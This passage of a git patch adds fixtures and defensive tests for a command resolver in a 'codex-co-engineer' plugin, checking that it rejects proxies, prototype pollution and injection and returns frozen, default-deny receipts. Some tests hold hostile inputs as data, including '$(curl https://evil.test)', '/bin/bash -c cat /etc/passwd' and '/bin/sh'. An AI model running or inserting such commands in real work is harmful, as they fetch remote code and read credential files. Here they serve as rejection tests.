freezeRecord(RECEIPT_KEYS, { + schema: body.schema, + version: body.version, + command_id: body.command_id, + parameters: body.parameters, + executable: body.executable, + argv: body.argv, + network: body.network, + environment: body.environment, + mutation: body.mutation, + timeout_ms: body.timeout_ms, + resources: body.resources, + policy_identity: body.policy_identity, + command_identity: body.command_identity, + executable_closure_identity: body.executable_closure_identity, + plan_identity: planIdentity, + }); +} + +export function canonicalApprovedVerificationCommandJsonV1(input, path = 'request') { + return canonicalJsonStringify(resolveApprovedVerificationCommandV1(input, path)); +} + +export function approvedVerificationCommandDigestV1(input, path = 'request') { + return resolveApprovedVerificationCommandV1(input, path).plan_identity; +} + +export const APPROVED_VERIFICATION_COMMAND_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + version: APPROVED_VERIFICATION_COMMAND_VERSION, + label: APPROVED_COMMAND_DIGEST_LABEL, + closure_label: EXECUTABLE_CLOSURE_DIGEST_LABEL, + request_keys: REQUEST_ALLOWED_KEYS, + selection_keys: SELECTION_ALLOWED_KEYS, + receipt_keys: RECEIPT_KEYS, + default_deny: capturedFreeze({ + network: DEFAULT_NETWORK_RECEIPT, + environment: DEFAULT_ENVIRONMENT_RECEIPT, + mutation: DEFAULT_MUTATION_RECEIPT, + resources: DEFAULT_RESOURCES_RECEIPT, + timeout_ms: DEFAULT_TIMEOUT_MS, + }), +}); + +capturedFreeze(resolveApprovedVerificationCommandV1); +capturedFreeze(canonicalApprovedVerificationCommandJsonV1); +capturedFreeze(approvedVerificationCommandDigestV1); From 8cda8327137f1c436d5fe7820950ee9a79ccacdd Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:03:08 +0000 Subject: [PATCH 076/151] test(verify): cover focused and adversarial approved-command surfaces Pin valid domain and template expansion, deterministic identity, default deny for missing policy/command/authority, provider/profile/manifest matching-text ineligibility, value/template injection, hostile descriptors, caller non-mutation, frozen fresh receipts, content-free failures, and the absence of spawn, PATH, and network access. --- ...approved-verification-command-fixtures.mjs | 85 +++ ...-verification-command-adversarial.test.mjs | 377 ++++++++++++ .../r1-approved-verification-command.test.mjs | 568 ++++++++++++++++++ 3 files changed, 1030 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs new file mode 100644 index 0000000..46ddfcd --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs @@ -0,0 +1,85 @@ +// Shared fixtures for the W15-P16B approved-command resolver tests. +// Pure data and tiny local helpers; no I/O and no product imports beyond +// the P16A policy fixtures. + +import { + countingProxy, + trapTotal, + validCommand, + validParameterizedCommand, + validPolicy, +} from './r1-verification-policy-fixtures.mjs'; + +export { + countingProxy, + trapTotal, + validCommand, + validParameterizedCommand, + validPolicy, +}; + +export function validTypedCommand(overrides = {}) { + return validCommand({ + command_id: 'typed-run', + argv_template: [ + 'run', '--file', '{file}', '--count', '{count}', '--ok', '{ok}', + '--mode', '{mode}', '--note', '{note}', + ], + parameters: { + count: { type: 'integer', min: 0, max: 8 }, + file: { type: 'path_segment', max_bytes: 64 }, + mode: { type: 'enum', values: ['ci', 'local'] }, + note: { type: 'string', max_bytes: 32 }, + ok: { type: 'boolean' }, + }, + ...overrides, + }); +} + +export function validTypedParameters(overrides = {}) { + return { + count: 2, + file: 'spec.js', + mode: 'ci', + note: 'unit', + ok: true, + ...overrides, + }; +} + +export function validSelection(overrides = {}) { + return { + command_id: 'unit-tests', + ...overrides, + }; +} + +export function validRequest(overrides = {}) { + return { + policy: validPolicy(), + selection: validSelection(), + ...overrides, + }; +} + +export function parameterizedRequest(overrides = {}) { + return { + policy: validPolicy({ commands: [validParameterizedCommand()] }), + selection: { + command_id: 'file-tests', + parameters: { file: 'spec.js' }, + }, + ...overrides, + }; +} + +export function typedRequest(overrides = {}) { + return { + policy: validPolicy({ commands: [validTypedCommand()] }), + selection: { + command_id: 'typed-run', + parameters: validTypedParameters(), + }, + ...overrides, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs new file mode 100644 index 0000000..c791ed0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs @@ -0,0 +1,377 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_POLICY_OBJECT_KEYS, + parseVerificationPolicyV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + resolveApprovedVerificationCommandV1, +} from '../mcp/v3/approved-verification-command.mjs'; +import { + countingProxy, + parameterizedRequest, + trapTotal, + typedRequest, + validCommand, + validPolicy, + validRequest, + validSelection, + validTypedParameters, +} from './fixtures/r1-approved-verification-command-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('live proxies are denied with zero traps on every resolver surface', () => { + const { proxy, counts } = countingProxy(validRequest()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const policyCounts = countingProxy(validPolicy()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1({ + policy: policyCounts.proxy, + selection: validSelection(), + })).code, 'proxy_denied'); + assert.equal(trapTotal(policyCounts.counts), 0); + + const selectionCounts = countingProxy(validSelection()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: selectionCounts.proxy, + })).code, 'proxy_denied'); + assert.equal(trapTotal(selectionCounts.counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', () => { + const { proxy, revoke } = Proxy.revocable(validRequest(), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = errorOf(() => resolveApprovedVerificationCommandV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); + assert.equal(error.message.includes('revoked get'), false); + assert.equal(error.message.includes('TypeError'), false); +}); + +test('accessor properties are rejected and their getters never run', () => { + let reads = 0; + const getterRequest = validRequest(); + Object.defineProperty(getterRequest, 'policy', { + enumerable: true, + get() { + reads += 1; + return validPolicy(); + }, + }); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + let throwingReads = 0; + const throwingSelection = validSelection(); + Object.defineProperty(throwingSelection, 'command_id', { + enumerable: true, + get() { + throwingReads += 1; + throw new Error('getter bomb /etc/shadow'); + }, + }); + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: throwingSelection, + })); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(throwingReads, 0); + assert.equal(error.message.includes('/etc/shadow'), false); + assert.equal(error.message.includes('getter bomb'), false); +}); + +test('non-enumerable fields, symbol keys, and exotic prototypes are denied', () => { + const hidden = validRequest(); + Object.defineProperty(hidden, 'selection', { enumerable: false, value: validSelection() }); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(hidden)).code, 'non_enumerable_property_denied'); + + const symbolled = validRequest(); + symbolled[Symbol('injected')] = '/bin/sh'; + const symbolError = errorOf(() => resolveApprovedVerificationCommandV1(symbolled)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assert.equal(symbolError.message.includes('/bin/sh'), false); + + class SpoofedRequest {} + const instance = new SpoofedRequest(); + Object.assign(instance, validRequest()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(instance)).code, 'invalid_type'); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(new Map())).code, 'invalid_type'); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(new Date())).code, 'invalid_type'); + + const nullProto = Object.create(null); + Object.assign(nullProto, validRequest()); + assert.doesNotThrow(() => resolveApprovedVerificationCommandV1(nullProto)); +}); + +test('own undefined values, boxed values, and coercion hooks never contribute', () => { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(validRequest({ policy: undefined }))).code, + 'own_undefined_denied', + ); + let coerced = 0; + const sneaky = { valueOf() { coerced += 1; return validPolicy(); } }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(validRequest({ policy: sneaky }))).code, + 'invalid_json_type', + ); + assert.equal(coerced, 0); + + let stringed = 0; + const noisy = { + toString() { + stringed += 1; + return 'unit-tests'; + }, + valueOf() { + stringed += 1; + return 'unit-tests'; + }, + }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: noisy }, + })).code, + 'invalid_json_type', + ); + assert.equal(stringed, 0); + + const boxed = validRequest({ + selection: { command_id: new String('unit-tests') }, + }); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(boxed)).code, 'exotic_prototype_denied'); +}); + +test('hostile iterators never run', () => { + let walked = 0; + const iteratorParams = { + file: 'spec.js', + [Symbol.iterator]() { + walked += 1; + throw new Error('iterator bomb'); + }, + }; + const error = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: iteratorParams }, + }))); + assert.equal(error.code, 'symbol_key_denied'); + assert.equal(walked, 0); + assert.equal(error.message.includes('iterator bomb'), false); +}); + +test('cyclic, aliased, deep, and oversized payloads are rejected before effects', () => { + const cyclic = validRequest(); + cyclic.self = cyclic; + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(cyclic)).code, 'aliased_reference_denied'); + + const shared = { marker: true }; + const aliased = validRequest(); + aliased.first = shared; + aliased.second = shared; + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(aliased)).code, 'aliased_reference_denied'); + + let deep = { leaf: 1 }; + for (let index = 0; index < 40; index += 1) deep = { wrapped: deep }; + const deepRequest = validRequest(); + deepRequest.deep = deep; + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(deepRequest)).code, 'value_depth_exceeded'); + + const wide = validRequest(); + for (let index = 0; index < MAX_POLICY_OBJECT_KEYS; index += 1) { + wide[`extra_${index}`] = true; + } + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(wide)).code, 'out_of_range'); +}); + +test('the closure gate precedes the closed vocabulary check', () => { + const unknownButHostile = validRequest(); + unknownButHostile.unknown_key = { nested: unknownButHostile }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(unknownButHostile)).code, + 'aliased_reference_denied', + ); +}); + +test('prototype pollution keys are unknown and do not grant authority', () => { + const polluted = validRequest(); + Object.defineProperty(polluted, '__proto__', { + enumerable: true, + configurable: true, + writable: true, + value: { command_id: 'unit-tests', executable: '/bin/sh' }, + }); + const error = errorOf(() => resolveApprovedVerificationCommandV1(polluted)); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('/bin/sh'), false); + assert.equal(error.message.includes('__proto__'), false); + assert.equal(error.message.includes('unit-tests'), false); + + const ctor = validRequest(); + ctor.constructor = { prototype: { executable: '/bin/sh' } }; + const ctorError = errorOf(() => resolveApprovedVerificationCommandV1(ctor)); + assert.equal(ctorError.code, 'unknown_key'); + assert.equal(ctorError.message.includes('/bin/sh'), false); +}); + +test('sparse and extended arrays on selection parameters are denied', () => { + const parameters = []; + parameters[0] = 'spec.js'; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters }, + }))).code, + 'invalid_type', + ); + + const extended = { file: 'spec.js' }; + Object.defineProperty(extended, 'length', { value: 1, enumerable: true }); + const extendedError = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: extended }, + }))); + assert.ok(extendedError.code === 'unknown_key' || extendedError.code === 'invalid_format' + || extendedError.code === 'invalid_type'); +}); + +test('non-finite and unsafe integers never coerce into canonical parameters', () => { + for (const value of [Number.NaN, Infinity, -Infinity]) { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: value }), + }, + }))).code, + 'invalid_json_value', + String(value), + ); + } + for (const value of [1.5, -0]) { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: value }), + }, + }))).code, + 'invalid_type', + String(value), + ); + } +}); + +test('Unicode, confusable, and control command IDs stay closed', () => { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit\u2010tests' }, + })).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit\u0301-tests' }, + })).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'Unit-Tests' }, + })).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit-tests\n' }, + })).code, + 'control_character_denied', + ); +}); + +test('receipts stay frozen, fresh, and detached from caller graphs', () => { + const request = validRequest(); + const first = resolveApprovedVerificationCommandV1(request); + const second = resolveApprovedVerificationCommandV1(request); + assert.notEqual(first, second); + assert.notEqual(first.argv, second.argv); + assert.notEqual(first.parameters, second.parameters); + assert.notEqual(first.network, second.network); + assert.equal(Object.isFrozen(first), true); + assert.equal(Object.isFrozen(first.argv), true); + assert.equal(Object.isFrozen(first.network), true); + assert.equal(Object.isFrozen(first.policy_identity), true); + assert.equal(Object.isFrozen(first.plan_identity), true); + assert.equal(first.plan_identity.digest, second.plan_identity.digest); + request.selection.command_id = 'mutated'; + assert.equal(first.command_id, 'unit-tests'); + assert.equal(Object.isFrozen(request), false); +}); + +test('content-free errors never echo attacker keys, paths, URLs, or native stacks', () => { + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + extra: { argv: ['/bin/bash', '-c', 'cat /etc/passwd'], url: 'https://steal.test' }, + })); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('extra'), false); + assert.equal(error.message.includes('/bin/bash'), false); + assert.equal(error.message.includes('/etc/passwd'), false); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('at parse'), false); + assert.equal(error.message.includes('at resolve'), false); + + const valueError = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: { file: '$(curl https://evil.test)' } }, + }))); + assert.equal(valueError.code, 'shell_content_denied'); + assert.equal(valueError.message.includes('curl'), false); + assert.equal(valueError.message.includes('evil.test'), false); + assert.equal(valueError.message.includes('$('), false); +}); + +test('trusted P16A snapshots can be consumed without freezing the caller snapshot', () => { + const parsed = parseVerificationPolicyV1(validPolicy()); + const request = { policy: parsed, selection: validSelection() }; + const receipt = resolveApprovedVerificationCommandV1(request); + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(Object.isFrozen(parsed), true); + assert.equal(Object.isFrozen(request), false); + assert.throws(() => { parsed.commands[0].command_id = 'x'; }, TypeError); + assert.equal(receipt.command_id, 'unit-tests'); +}); + +test('a parsed policy with no matching command still default-denies', () => { + const parsed = parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'other-tests' })], + })); + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: parsed, + selection: validSelection(), + })); + assert.equal(error.code, 'unknown_command'); + assert.equal(error.message.includes('unit-tests'), false); + assert.equal(error.message.includes('other-tests'), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs b/plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs new file mode 100644 index 0000000..9766395 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs @@ -0,0 +1,568 @@ +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; + +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + DEFAULT_ENVIRONMENT_RECEIPT, + DEFAULT_MUTATION_RECEIPT, + DEFAULT_NETWORK_RECEIPT, + DEFAULT_RESOURCES_RECEIPT, + DEFAULT_TIMEOUT_MS, + VERIFICATION_POLICY_SCHEMA_ID, + canonicalVerificationPolicyJsonV1, + verificationCommandDigestV1, + verificationPolicyDigestV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + APPROVED_COMMAND_DIGEST_LABEL, + APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + APPROVED_VERIFICATION_COMMAND_VERSION, + EXECUTABLE_CLOSURE_DIGEST_LABEL, + approvedVerificationCommandDigestV1, + canonicalApprovedVerificationCommandJsonV1, + resolveApprovedVerificationCommandV1, +} from '../mcp/v3/approved-verification-command.mjs'; +import { + parameterizedRequest, + typedRequest, + validCommand, + validParameterizedCommand, + validPolicy, + validRequest, + validSelection, + validTypedCommand, + validTypedParameters, +} from './fixtures/r1-approved-verification-command-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + 'codex-co-engineer.approved-verification-command.v1'); + assert.equal(APPROVED_VERIFICATION_COMMAND_VERSION, 1); + assert.equal(APPROVED_VERIFICATION_COMMAND_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(APPROVED_COMMAND_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_COMMAND_PLAN); + assert.equal(EXECUTABLE_CLOSURE_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_EXECUTABLE_CLOSURE); +}); + +test('a valid Codex selection resolves to a frozen detached receipt', () => { + const request = validRequest(); + const receipt = resolveApprovedVerificationCommandV1(request); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(Object.isFrozen(receipt.argv), true); + assert.equal(Object.isFrozen(receipt.parameters), true); + assert.equal(receipt.schema, APPROVED_VERIFICATION_COMMAND_SCHEMA_ID); + assert.equal(receipt.version, APPROVED_VERIFICATION_COMMAND_VERSION); + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(receipt.executable, '/usr/bin/npm'); + assert.deepEqual(receipt.argv, ['test']); + assert.deepEqual(receipt.parameters, {}); + request.selection.command_id = 'other'; + request.policy.commands[0].executable = '/bin/sh'; + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(receipt.executable, '/usr/bin/npm'); + assert.equal(Object.isFrozen(request), false); + assert.throws(() => { receipt.command_id = 'mutated'; }, TypeError); + assert.throws(() => { receipt.argv.push('injected'); }, TypeError); +}); + +test('parameterized domain and template expansion stay canonical', () => { + const receipt = resolveApprovedVerificationCommandV1(parameterizedRequest()); + assert.equal(receipt.command_id, 'file-tests'); + assert.equal(receipt.parameters.file, 'spec.js'); + assert.deepEqual(receipt.argv, ['test', '--', 'spec.js']); + assert.equal(receipt.executable, '/usr/bin/npm'); +}); + +test('typed domains expand to exact argv tokens without coercion', () => { + const receipt = resolveApprovedVerificationCommandV1(typedRequest()); + assert.equal(receipt.parameters.count, 2); + assert.equal(receipt.parameters.ok, true); + assert.equal(receipt.parameters.mode, 'ci'); + assert.equal(receipt.parameters.note, 'unit'); + assert.deepEqual(receipt.argv, [ + 'run', '--file', 'spec.js', '--count', '2', '--ok', 'true', + '--mode', 'ci', '--note', 'unit', + ]); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ count: '2' }) }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ ok: 'true' }) }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ file: 1 }) }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ mode: 'CI' }) }, + }))).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { command_id: 'typed-run', parameters: validTypedParameters({ count: 9 }) }, + }))).code, + 'out_of_range', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ note: 'x'.repeat(33) }), + }, + }))).code, + 'out_of_range', + ); +}); + +test('required, optional, and default semantics follow the P16A domain', () => { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests' }, + }))).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: {} }, + }))).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: { file: 'spec.js', extra: 'nope' } }, + }))).code, + 'unknown_key', + ); + const unused = validCommand({ + command_id: 'with-extra', + argv_template: ['test', '{file}'], + parameters: { + file: { type: 'path_segment', max_bytes: 32 }, + tag: { type: 'enum', values: ['a', 'b'] }, + }, + }); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [unused] }), + selection: { command_id: 'with-extra', parameters: { file: 'spec.js' } }, + })).code, + 'missing_key', + ); + const complete = resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [unused] }), + selection: { command_id: 'with-extra', parameters: { file: 'spec.js', tag: 'b' } }, + }); + assert.equal(complete.parameters.tag, 'b'); + assert.deepEqual(complete.argv, ['test', 'spec.js']); + + const omittedParams = resolveApprovedVerificationCommandV1(validRequest({ + selection: { command_id: 'unit-tests' }, + })); + assert.deepEqual(omittedParams.parameters, {}); +}); + +test('canonical identity is deterministic across key order and fresh receipts', () => { + const left = typedRequest(); + const right = { + selection: { + parameters: { + ok: true, + note: 'unit', + mode: 'ci', + file: 'spec.js', + count: 2, + }, + command_id: 'typed-run', + }, + policy: { + version: 1, + commands: [validTypedCommand()], + schema: VERIFICATION_POLICY_SCHEMA_ID, + }, + }; + const leftReceipt = resolveApprovedVerificationCommandV1(left); + const rightReceipt = resolveApprovedVerificationCommandV1(right); + assert.equal( + canonicalApprovedVerificationCommandJsonV1(left), + canonicalApprovedVerificationCommandJsonV1(right), + ); + assert.equal(leftReceipt.plan_identity.digest, rightReceipt.plan_identity.digest); + assert.equal(leftReceipt.plan_identity.algorithm, 'sha256'); + assert.equal(leftReceipt.plan_identity.domain, IDENTITY_DOMAIN); + assert.equal(leftReceipt.plan_identity.label, IDENTITY_LABELS.VERIFICATION_COMMAND_PLAN); + assert.match(leftReceipt.plan_identity.digest, /^[0-9a-f]{64}$/u); + assert.equal( + approvedVerificationCommandDigestV1(left).digest, + leftReceipt.plan_identity.digest, + ); + assert.notEqual(leftReceipt, rightReceipt); + assert.equal( + leftReceipt.policy_identity.digest, + verificationPolicyDigestV1(left.policy).digest, + ); + assert.equal( + leftReceipt.command_identity.digest, + verificationCommandDigestV1(validTypedCommand()).digest, + ); + assert.equal( + leftReceipt.executable_closure_identity.label, + IDENTITY_LABELS.VERIFICATION_EXECUTABLE_CLOSURE, + ); + + const other = resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: 3 }), + }, + })); + assert.notEqual(other.plan_identity.digest, leftReceipt.plan_identity.digest); + assert.notEqual(other.executable_closure_identity.digest, leftReceipt.executable_closure_identity.digest); +}); + +test('policy identity binds the whole catalog, not only the selected command', () => { + const single = resolveApprovedVerificationCommandV1(validRequest()); + const withExtra = resolveApprovedVerificationCommandV1(validRequest({ + policy: validPolicy({ commands: [validCommand(), validParameterizedCommand()] }), + })); + assert.equal(single.command_id, withExtra.command_id); + assert.equal(single.command_identity.digest, withExtra.command_identity.digest); + assert.notEqual(single.policy_identity.digest, withExtra.policy_identity.digest); + assert.notEqual(single.plan_identity.digest, withExtra.plan_identity.digest); + assert.equal( + withExtra.policy_identity.digest, + verificationPolicyDigestV1(validPolicy({ + commands: [validParameterizedCommand(), validCommand()], + })).digest, + ); +}); + +test('absent P16A capabilities are inherited as exact default-deny receipts', () => { + const receipt = resolveApprovedVerificationCommandV1(validRequest()); + assert.deepEqual(receipt.network, DEFAULT_NETWORK_RECEIPT); + assert.equal(receipt.network.mode, 'deny'); + assert.deepEqual(receipt.network.hosts, []); + assert.deepEqual(receipt.environment, DEFAULT_ENVIRONMENT_RECEIPT); + assert.deepEqual(receipt.environment.entries, []); + assert.deepEqual(receipt.mutation, DEFAULT_MUTATION_RECEIPT); + assert.equal(receipt.mutation.persistent, false); + assert.equal(receipt.mutation.workspace, 'none'); + assert.equal(receipt.timeout_ms, DEFAULT_TIMEOUT_MS); + assert.deepEqual(receipt.resources, DEFAULT_RESOURCES_RECEIPT); + assert.equal(receipt.network === DEFAULT_NETWORK_RECEIPT, false); + assert.equal(receipt.environment === DEFAULT_ENVIRONMENT_RECEIPT, false); +}); + +test('owner-authored constraints are inherited and cannot be overridden', () => { + const granted = validCommand({ + network: { mode: 'allowlist', hosts: ['ci.example.test', 'cache.example.test'] }, + environment: { entries: [{ name: 'CI', value: '1' }] }, + mutation: { persistent: false, workspace: 'ephemeral' }, + timeout_ms: 120_000, + resources: { max_output_bytes: 4096, max_error_bytes: 1024 }, + }); + const receipt = resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: validSelection(), + }); + assert.deepEqual(receipt.network.hosts, ['cache.example.test', 'ci.example.test']); + assert.equal(receipt.environment.entries[0].name, 'CI'); + assert.equal(receipt.timeout_ms, 120_000); + assert.equal(receipt.resources.max_output_bytes, 4096); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', timeout_ms: 1 }, + })).code, + 'resource_limit_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', environment: { entries: [] } }, + })).code, + 'executable_content_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', network: { mode: 'allowlist' } }, + })).code, + 'network_content_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [granted] }), + selection: { command_id: 'unit-tests', mutation: { persistent: true } }, + })).code, + 'mutation_permission_denied', + ); +}); + +test('missing policy, command, or authority default-deny', () => { + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1({})).code, 'missing_key'); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + selection: validSelection(), + })).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + })).code, + 'missing_key', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy({ commands: [] }), + selection: validSelection(), + })).code, + 'unknown_command', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'missing-command' }, + })).code, + 'unknown_command', + ); + const missing = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'missing-command' }, + })); + assert.equal(missing.message.includes('missing-command'), false); +}); + +test('provider, profile, and manifest matching-text objects remain ineligible', () => { + const policy = validPolicy({ commands: [validCommand()] }); + + const providerSelection = { + command_id: 'unit-tests', + executable: '/usr/bin/npm', + argv_template: ['test'], + }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: providerSelection, + })).code, + 'executable_content_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: { command_id: 'unit-tests', argv: ['test'] }, + })).code, + 'executable_content_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + provider: { command_id: 'unit-tests', argv: ['test'] }, + })).code, + 'authority_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + profile: { + schema: 'codex-co-engineer.profile.v1', + provider: 'dsh', + command_id: 'unit-tests', + }, + })).code, + 'authority_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: { + command_id: 'unit-tests', + parameters: {}, + timeout_ms: 